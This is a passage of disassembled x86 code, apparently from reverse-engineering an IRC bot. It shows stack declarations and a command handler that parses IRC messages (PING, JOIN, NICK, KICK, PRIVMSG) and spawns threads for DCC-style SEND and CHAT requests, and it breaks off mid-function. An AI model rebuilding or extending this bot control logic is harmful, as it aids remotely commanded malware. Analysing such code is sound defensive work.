var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
Drive = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
Str1 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
Count = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
Dst = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
SubStr = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
Args = byte ptr -8Ch
Format = dword ptr -88h
Str2 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Source = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
File = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call __alloca_probe
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call _memset
push 1Bh ; Count
lea eax, [ebp+Str1]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+Src], ebx
jz loc_401F75
push esi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
dec esi
lea eax, [ebp+Str]
push esi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push offset SubStr ; " :"
push eax ; Str
call _strstr
mov [ebp+var_C], eax
lea eax, [ebp+Str]
push esi ; Count
push eax ; Source
lea eax, [ebp+var_4EF8]
push eax ; Dest
call _strncpy
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi ; Delim
push eax ; Str
call _strtok
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+Args]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi ; Delim
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp dword ptr [ebp+Args], ebx
jz loc_401F75
push 100h ; Size
lea eax, [ebp+var_960]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh ; Count
lea eax, [ebp+var_E04]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [esi+1]
push 17h ; Count
push eax ; Source
lea eax, [ebp+var_C4]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
push offset Delim ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push dword ptr [ebp+Args] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi ; Str2
push offset a005 ; "005"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi ; Str2
push offset a302_0 ; "302"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+Str2] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh ; Count
push eax ; Source
push [ebp+arg_1C] ; Dest
call _strncpy
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi ; Str2
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx ; Str1
push dword_4290A0 ; int
push dword_42909C ; int
push [ebp+Source] ; Dest
call sub_40AE84
add esp, 10h
push [ebp+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+File], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh ; Count
lea eax, [ebp+var_E04]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+Str2], ebx
jz short loc_401E5A
push [ebp+Str2] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+Dst]
push offset unk_42CD50 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4] ; int
call sub_409823
lea eax, [ebp+Dst]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+File]
jnz loc_401DCF
push [ebp+Str2] ; Str2
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4] ; int
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+Format]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+Src], 3
mov [ebp+File], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+File] ; Source
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax ; Dest
call _strcpy
push [ebp+arg_1C] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+Src]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+File], ebx
jz short loc_401F75
push [ebp+Source] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh ; Count
push [ebp+File] ; Source
push [ebp+Source] ; Dest
call _strncpy
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_401F75
push eax ; Str
call _strlen
push [ebp+File] ; Str
mov edi, eax
call _strlen
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+Src]
shl esi, 7
push [ebp+File]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_45F0]
push ebx ; int
push eax ; int
push [ebp+arg_8] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push dword ptr [ebp+Args] ; Str2
push offset a353 ; "353"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80] ; Str2
push [ebp+arg_8] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+Dst]
push offset unk_42CCDC ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415D38
push dword ptr [ebp+Args] ; Str2
push offset aPart ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+Dst]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push dword ptr [ebp+Args] ; Str2
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi ; Str1
call _strcmp
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push dword ptr [ebp+Args] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+Str2]
inc [ebp+var_80]
push 4
mov [ebp+Format], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax ; Str2
push offset dword_42CCC0 ; Str1
mov [ebp+arg_8], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push dword ptr [ebp+esi+Args] ; Str2
push offset aSend ; "SEND"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+Format]
mov edi, offset aS_6 ; "%s"
lea eax, [ebp+var_1B84]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+Str2]
push edi ; Format
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_1A80]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+Dst]
push offset asc_42CC84 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset sub_416563
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+Format], ebx
jz loc_401F75
push offset asc_42CC80 ; "#"
push [ebp+Format] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+Format], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+Str2], ebx
jz loc_401F75
inc [ebp+Str2]
jz short loc_40233A
cmp [ebp+Source], ebx
jz short loc_40233A
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+Str1]
push [ebp+Str2] ; Str2
push eax ; Str1
call _strncmp
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi ; Str2
push offset dword_42CC74 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi ; Str2
push offset dword_42CC50 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, dword ptr [ebp+esi*4+Args]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+Format]
push offset asc_42CBB8 ; "-"
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push dword ptr [ebp+esi+Args] ; Str2
push offset aChat ; "CHAT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+Str2]
lea eax, [ebp+var_2AAC]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_2994]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+Dst]
push offset asc_42CB90 ; "-"
push eax ; Dest
call _sprintf
